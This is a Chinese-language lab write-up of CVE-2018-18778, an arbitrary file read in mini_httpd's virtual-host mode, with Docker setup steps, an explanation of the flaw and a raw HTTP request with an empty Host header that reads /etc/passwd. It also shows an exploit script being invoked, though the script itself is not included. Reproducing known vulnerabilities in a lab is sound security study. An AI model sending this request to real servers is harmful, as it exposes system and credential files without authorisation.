一、环境搭建:
进入镜像目录:
cd vulhub/mini_httpd/CVE-2018-18778
启动环境:
docker-compose up -d
访问8088端口
二、漏洞描述:
Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。
在mini_httpd开启虚拟主机模式的情况下,用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
当HOST=example.com、FILE=index.html的时候,上述语句结果为example.com/index.html,文件正常读取。
当HOST为空、FILE=etc/passwd的时候,上述语句结果为/etc/passwd。
后者被作为绝对路径,于是读取到了/etc/passwd,造成任意文件读取漏洞。
三、漏洞复现:
清空HOST头,路径为读取的文件:
GET /etc/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
成功读取到/etc/passwd:
四、自动化利用EXP:
python3 mini_httpd_exp.py http://192.168.136.131:8080
本文始发于微信公众号(哈拉少安全小队):mini_httpd 任意文件读取漏洞(附EXP脚本)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论